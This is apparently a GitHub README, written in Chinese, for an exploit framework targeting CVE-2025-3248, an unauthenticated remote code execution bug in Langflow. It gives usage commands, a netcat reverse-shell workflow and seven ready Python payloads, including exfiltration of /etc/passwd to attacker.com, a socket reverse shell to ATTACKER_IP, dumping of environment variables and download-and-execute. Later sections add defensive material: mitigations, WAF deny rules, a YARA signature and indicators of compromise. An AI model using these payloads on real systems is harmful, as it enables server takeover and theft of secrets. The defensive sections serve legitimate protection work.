CVE-2025-3248: Langflow 未授权远程代码执行漏洞扫描器

一个全面的 Python 利用框架，用于测试和演示 CVE-2025-3248，该漏洞是 Langflow 版本 ≤ 1.3.0 中的一个严重未授权远程代码执行漏洞。

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🔴 漏洞概述

CVE-2025-3248: Langflow 代码注入远程代码执行

属性	值
CVE ID	CVE-2025-3248
产品	Langflow
受影响版本	≤ 1.3.0
漏洞类型	未授权远程代码执行（RCE）
攻击向量	网络
需要认证	无
CVSS 评分	9.8（严重）
EPSS 评分	92.57%
CWE	CWE-94（代码生成控制不当）
漏洞端点	/api/v1/validate/code

根本原因

该漏洞存在于 /api/v1/validate/code API 端点，该端点接受任意 Python 代码，并使用 Python 不安全的 exec() 函数进行验证，但未进行适当的输入清理或沙箱隔离。该漏洞利用 Python 的以下行为：

1. 装饰器在函数定义时立即被求值
2. 默认参数值在抽象语法树（AST）解析期间被执行
3. 没有输入验证来阻止恶意代码执行

攻击链

攻击者 → POST /api/v1/validate/code → Python exec() → 远程代码执行
     ↓
   无需认证
     ↓
   任意 Python 代码
     ↓
   系统命令执行

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✨ 功能特性

• ✅ 端点检测：自动识别易受攻击的 Langflow 实例
• ✅ 多阶段测试：4 个渐进的漏洞测试
• ✅ 命令执行：在目标上执行任意系统命令
• ✅ 环境提取：检索环境变量和配置
• ✅ 文件操作：测试文件读写能力
• ✅ 反向 Shell 支持：生成交互式反向 Shell 会话
• ✅ 版本检测：识别 Langflow 版本信息
• ✅ 彩色输出：通过终端颜色增强可读性
• ✅ 超时管理：可配置的请求超时
• ✅ SSL/TLS 绕过：支持自签名证书

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📦 运行环境要求

Python >= 3.7
requests >= 2.25.0

安装依赖

pip install requests

可选（用于更好的日志记录）

pip install colorama  # 用于 Windows 颜色支持

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🚀 安装

方法 1：从 GitHub 克隆

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

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📖 使用方法

基本语法

python3 cve_2025_3248_test.py -t <目标地址> [选项]

快速启动示例

1. 基本漏洞扫描

python3 cve_2025_3248_test.py -t http://target.com

2. 执行自定义命令

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. 执行多条命令

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. 反向 Shell 利用（仅限授权测试）

步骤 1： 在您的机器上启动 netcat 监听器

nc -lvnp 4444

步骤 2： 运行利用工具

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost 你的IP --lport 4444

示例：

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. 使用自定义超时扫描

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

命令行参数

位置参数：
  无

可选参数：
  -t, --target TARGET       目标 URL（例如，http://target.com）[必需]
  -c, --command COMMAND     要执行的命令（默认：id）
  --timeout TIMEOUT         请求超时秒数（默认：10）
  --exploit                 启用利用模式（反向 Shell）
  --lhost LHOST             用于反向 Shell 的您的 IP 地址
  --lport LPORT             用于反向 Shell 的您的端口
  -h, --help                显示此帮助信息

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💾 Payload 变体

1. 基于装饰器的执行

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. 默认参数执行

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. 数据窃取

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. 反向 Shell（单行）

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. 文件读取操作

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. 环境变量枚举

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. 下载并执行

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

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🔍 检测与缓解

针对防御者

立即行动

1. 升级 Langflow

   pip install langflow>=1.3.0
   # 或
   docker pull langflow:latest
   

2. 限制网络访问

   # Nginx 反向代理 - 阻止易受攻击的端点
   location /api/v1/validate/code {
       deny all;
   }
   

3. 实施认证

   # 添加认证中间件
   @app.middleware("http")
   async def auth_middleware(request, call_next):
       if "/api/v1/validate/code" in request.url.path:
           if not verify_auth(request):
               return JSONResponse(status_code=401)
       return await call_next(request)
   

WAF 规则

ModSecurity 规则：

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

检测规则

YARA 签名：

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

监控与日志记录

# 监控可疑请求
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# 对易受攻击端点的 POST 请求发出警报
auditctl -w /var/lib/langflow -p wa -k langflow_changes

入侵指标（IoCs）

• 对 /api/v1/validate/code 的异常 POST 请求
• 从 Langflow 产生的具有可疑名称的进程
• 来自 Langflow 服务器的意外出站连接
• 在 /tmp 中创建了时间戳异常的文件
• 从 Langflow 进程执行的 Python 子进程
• 认证失败后跟随 API 请求
• Langflow 容器 CPU/内存使用量激增

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🔬 技术分析

漏洞工作原理

漏洞链的工作原理如下：

# 攻击者发送此 Payload：
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# 服务器处理它：
exec(code)  # ← 危险！没有清理

# 在 AST 解析期间，默认参数被求值：
# exec('import os; os.system("whoami")')

# 结果：任意命令执行

为何装饰器有效

Python 在函数定义时对装饰器的行为：

# 此代码会立即执行：
@decorator_expression
def my_function():
    pass

# 这意味着此 Payload 会执行代码：
@exec("malicious_code_here")
def vulnerable_function():
    pass

为何它是严重漏洞

1. 无需认证：任何人都可以访问该端点
2. 网络可访问：可以远程利用
3. 完全系统访问：以 Langflow 进程权限执行
4. 无输入验证：直接执行代码
5. 广泛部署：在生产环境中使用
6. 高度可利用性：已有公开 PoC

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📊 漏洞时间线

日期	事件
2025-04-06	发现漏洞并报告给 Langflow 团队
2025-04-17	公开利用发布（Exploit-DB）
2025-05-14	FortiguardLabs 爆发警报发布
2025-05-21	Zscaler ThreatLabz 分析发布
2025-05-22	RecordedFuture 报告活跃利用
2025-06-16	TrendMicro 报告 FLODRIC 僵尸网络利用
2025-06-17	OffSec 综合分析发布
2025-11-05	SentinelOne 漏洞数据库条目
2025-11-20	观察到持续的利用尝试

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🛡️ 防御性测试检查清单

在进行授权的安全测试时：

• 在测试前获得书面授权
• 记录所有测试活动
• 尽可能使用隔离的测试环境
• 避免不必要地利用生产系统
• 清理测试期间创建的任何工件（文件、进程）
• 负责任地向目标组织报告发现
• 遵循负责任的披露实践
• 对测试结果保密

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📚 参考资料

• OffSec 博客：CVE-2025-3248 分析
• SentinelOne：Langflow 代码注入远程代码执行
• Zscaler ThreatLabz：CVE-2025-3248 远程代码执行漏洞
• TrendMicro：FLODRIC 僵尸网络利用
• RecordedFuture：活跃利用报告
• Exploit-DB：Langflow 1.3.0 远程代码执行
• GitHub Advisories：GHSA-c995-4fw3-j39m

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